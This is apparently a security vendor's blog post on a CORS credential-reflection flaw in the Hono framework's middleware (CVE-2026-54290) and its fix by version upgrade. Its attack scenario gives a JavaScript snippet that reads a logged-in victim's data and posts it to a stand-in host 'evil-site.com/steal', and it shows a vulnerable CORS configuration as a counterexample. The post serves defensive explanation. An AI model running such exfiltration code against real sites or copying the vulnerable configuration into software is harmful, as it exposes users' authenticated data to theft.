Back to Blog
high SEVERITY5 min read

How CORS credential reflection happens in Hono middleware and how to fix it

A high-severity CORS misconfiguration in Hono's middleware (CVE-2026-54290) allowed any origin to be reflected with credentials when the `origin` option defaulted to wildcard. This vulnerability in the studio frontend could enable attackers to steal authenticated user data through cross-origin requests. The fix upgrades Hono from 4.12.21 to 4.12.25, which properly handles CORS origin validation.

O
By Orbis AppSec
Published June 29, 2026Reviewed June 29, 2026

Answer Summary

CVE-2026-54290 is a CORS credential reflection vulnerability in the Hono web framework for JavaScript/TypeScript. When the CORS middleware's `origin` option defaults to wildcard (`*`), it incorrectly reflects any requesting origin while also sending credentials, violating the Same-Origin Policy. The fix is to upgrade Hono to version 4.12.25 or later, which properly validates origins before reflecting them with credentials.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixUpgrade Hono from 4.12.21 to 4.12.25
riskCross-origin data theft via credential reflection
languageJavaScript/TypeScript (Node.js)
root causeHono CORS middleware reflects any origin with credentials when origin defaults to wildcard
vulnerabilityCORS Origin Reflection with Credentials

Introduction

In the studio frontend application, a high-severity vulnerability was discovered in the studio/frontend/package-lock.json dependency manifest. The Hono web framework version 4.12.21 contained a critical flaw in its CORS middleware that could expose authenticated users to cross-origin attacks.

This isn't just a theoretical concern—the vulnerability (CVE-2026-54290) allows any malicious website to make authenticated requests to the affected application and steal sensitive data. For a studio frontend that likely handles user sessions and potentially sensitive creative assets, this represents a serious security risk.

The Vulnerability Explained

What Went Wrong in Hono's CORS Middleware

Hono is a lightweight, ultrafast web framework popular for building APIs and web applications. Its CORS middleware is designed to handle Cross-Origin Resource Sharing headers, which control how browsers allow cross-origin requests.

The vulnerability exists in how Hono's CORS middleware handles the default configuration. When developers don't explicitly set the origin option, it defaults to a wildcard (*). However, the middleware was incorrectly reflecting the requesting origin in the Access-Control-Allow-Origin response header while simultaneously setting Access-Control-Allow-Credentials: true.

This combination is dangerous because:

  1. Wildcard origins cannot be used with credentials according to the CORS specification
  2. Reflecting arbitrary origins allows any website to make credentialed requests
  3. The browser trusts the response and includes cookies/authentication headers

The Attack Scenario

Consider this attack against the studio frontend:

// Attacker's malicious website: evil-site.com
fetch('https://studio-app.example.com/api/user/data', {
  credentials: 'include',  // Send cookies
  method: 'GET'
})
.then(response => response.json())
.then(data => {
  // Attacker now has the victim's data
  fetch('https://evil-site.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

When a logged-in user visits the attacker's site, their browser would:
1. Send a request to the studio app with their session cookies
2. Receive a response with Access-Control-Allow-Origin: https://evil-site.com
3. Receive Access-Control-Allow-Credentials: true
4. Allow the malicious JavaScript to read the response

The attacker could steal user data, session tokens, or any information accessible to the authenticated user.

Why This Matters for CLI Tools

The PR notes this is a CLI tool, meaning exploitation requires the attacker to control arguments or input files. However, the frontend component (studio/frontend) likely serves a web interface for the CLI tool, making browser-based attacks relevant when users access the studio through a web browser.

The Fix

Upgrading Hono to 4.12.25

The fix upgrades Hono from version 4.12.21 to 4.12.25, which properly handles CORS origin validation. The changes appear in studio/frontend/package-lock.json and studio/frontend/package.json.

Before (vulnerable):

{
  "hono": "4.12.21"
}

After (fixed):

{
  "hono": "4.12.25"
}

What Changed in Hono 4.12.25

The patched version of Hono's CORS middleware now:

  1. Properly validates origins before reflecting them
  2. Prevents wildcard + credentials combination at the middleware level
  3. Requires explicit origin configuration when credentials are enabled

The diff also shows additional changes to peer dependency declarations for various platform-specific packages (@rollup/rollup-android-arm64, @rollup/rollup-darwin-arm64, etc.), adding "peer": true to ensure proper dependency resolution. These changes ensure the package-lock.json accurately reflects the dependency tree after the upgrade.

Code Changes in the Diff

The visible portion of the diff shows modifications to platform-specific Rollup packages:

"os": [
  "android"
],
"peer": true,  // Added
"engines": {
  "node": ">= 10"
}

These peer dependency additions across multiple platform packages (android-arm64, darwin-arm64, darwin-x64, linux variants, win32 variants) are side effects of the npm dependency resolution when upgrading Hono. The critical security fix is the Hono version bump itself.

Prevention & Best Practices

1. Explicitly Configure CORS Origins

Never rely on default CORS configurations. Always specify allowed origins:

import { Hono } from 'hono';
import { cors } from 'hono/cors';

const app = new Hono();

// ✅ Secure: Explicit origin configuration
app.use('/api/*', cors({
  origin: ['https://trusted-domain.com', 'https://app.example.com'],
  credentials: true,
}));

// ❌ Vulnerable: Default/wildcard with credentials
app.use('/api/*', cors({
  credentials: true,
  // origin defaults to '*' - DANGEROUS!
}));

2. Use Origin Validation Functions

For dynamic origin validation, use a function:

app.use('/api/*', cors({
  origin: (origin) => {
    const allowedOrigins = ['https://trusted-domain.com'];
    return allowedOrigins.includes(origin) ? origin : null;
  },
  credentials: true,
}));

3. Keep Dependencies Updated

Regularly update your dependencies and use automated security scanning:

# Check for vulnerabilities
npm audit

# Update to patched versions
npm update hono

4. Implement Dependency Scanning in CI/CD

Use tools like Trivy, Snyk, or npm audit in your CI/CD pipeline to catch vulnerable dependencies before deployment.

Key Takeaways

  • Hono versions before 4.12.25 have a CORS middleware flaw that reflects any origin with credentials
  • The studio/frontend component was vulnerable to cross-origin data theft through this misconfiguration
  • Dependency scanning with Trivy caught this vulnerability in the package-lock.json before it could be exploited
  • Always explicitly configure CORS origins rather than relying on framework defaults
  • CLI tools with web frontends still need browser security protections like proper CORS configuration

How Orbis AppSec Detected This

  • Source: The Hono CORS middleware receiving cross-origin requests with the Origin header
  • Sink: The Access-Control-Allow-Origin response header reflecting arbitrary origins with Access-Control-Allow-Credentials: true
  • Missing control: Proper origin validation before reflecting the origin in CORS responses
  • CWE: CWE-346 (Origin Validation Error)
  • Fix: Upgraded Hono from 4.12.21 to 4.12.25, which properly validates origins before reflecting them with credentials

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-54290 demonstrates how a subtle misconfiguration in CORS middleware can create serious security vulnerabilities. The Hono framework's default behavior of reflecting any origin with credentials violated fundamental browser security principles and could have allowed attackers to steal authenticated user data from the studio frontend.

The fix—upgrading to Hono 4.12.25—is straightforward, but the lesson is clear: always explicitly configure security-sensitive middleware options, keep dependencies updated, and use automated scanning to catch vulnerabilities before they reach production.

References

Frequently Asked Questions

What is CORS credential reflection?

CORS credential reflection occurs when a server's CORS middleware echoes back any requesting origin in the Access-Control-Allow-Origin header while also setting Access-Control-Allow-Credentials to true, allowing malicious sites to make authenticated cross-origin requests.

How do you prevent CORS credential reflection in Node.js?

Always explicitly configure allowed origins in your CORS middleware rather than using wildcards, validate origins against a whitelist, and ensure your framework version properly handles the combination of credentials and origin validation.

What CWE is CORS credential reflection?

CORS credential reflection falls under CWE-346 (Origin Validation Error), which covers improper validation of the origin of a request that could allow attackers to bypass access controls.

Is setting Access-Control-Allow-Origin to * enough to prevent CORS attacks?

No, using a wildcard (*) for Access-Control-Allow-Origin without credentials is safe, but the browser prevents combining wildcards with credentials. The vulnerability occurs when middleware incorrectly reflects arbitrary origins while also allowing credentials.

Can static analysis detect CORS credential reflection?

Yes, static analysis tools like Trivy can detect vulnerable library versions with known CORS misconfigurations. Dependency scanning is particularly effective for catching these issues in package-lock.json files.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6736

Related Articles

high

How integer overflow in malloc happens in C libregexp and how to fix it

A high-severity integer overflow vulnerability was discovered in QuickJS's libregexp.c where multiplication to compute allocation size could wrap around, causing a heap overflow. The fix replaces the unsafe `malloc(sizeof(capture[0]) * lre_get_alloc_count(bc))` pattern with `calloc(lre_get_alloc_count(bc), sizeof(capture[0]))`, which safely handles the multiplication internally and prevents exploitation.

critical

How buffer overflow via sprintf() happens in C++ settings parsing and how to fix it

A critical buffer overflow vulnerability was discovered in `app/src/main/cpp/samp/settings.cpp` where `sprintf()` writes to a fixed 127-byte buffer (`char buff[0x7F]`) without bounds checking. If the `g_pszStorage` global variable contains a string longer than ~107 bytes, the formatted output exceeds the buffer, enabling stack corruption. The fix replaces `sprintf()` with `snprintf()` using `sizeof(buff)` to guarantee writes never exceed the declared buffer length.

medium

How integer overflow in bounds checking happens in C and how to fix it

A critical integer overflow vulnerability was discovered in the W_Read function of DOOM/w_file.c that allowed attackers to bypass bounds checking by crafting WAD files with malicious offset values near UINT_MAX. The fix implements a two-step validation approach that first checks if the offset exceeds the file length, then safely calculates the remaining bytes without risk of overflow.

critical

How buffer overflow in strcat() happens in C and how to fix it

A critical buffer overflow vulnerability was discovered in the `daemonize()` function of `tpl.c`, where command-line arguments are concatenated into a fixed-size 8192-byte buffer using `strcat()` without any bounds checking. An attacker who controls command-line arguments can overflow this buffer to corrupt adjacent memory and potentially achieve arbitrary code execution. The fix adds a buffer-length check before each concatenation to ensure writes never exceed the declared buffer size.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

critical

How GitHub token exposure happens in TypeScript CLI utilities and how to fix it

A critical credential exposure vulnerability was discovered in `cli/src/utils/github.ts`, where three GitHub API fetch calls were made without any safe token-loading mechanism, risking accidental hardcoding or token leakage in logs and CI/CD pipelines. The fix introduces a centralized `getAuthHeaders()` function that reads the token exclusively from the `GITHUB_TOKEN` environment variable and safely injects it into all outbound API requests. This ensures credentials never touch source code, buil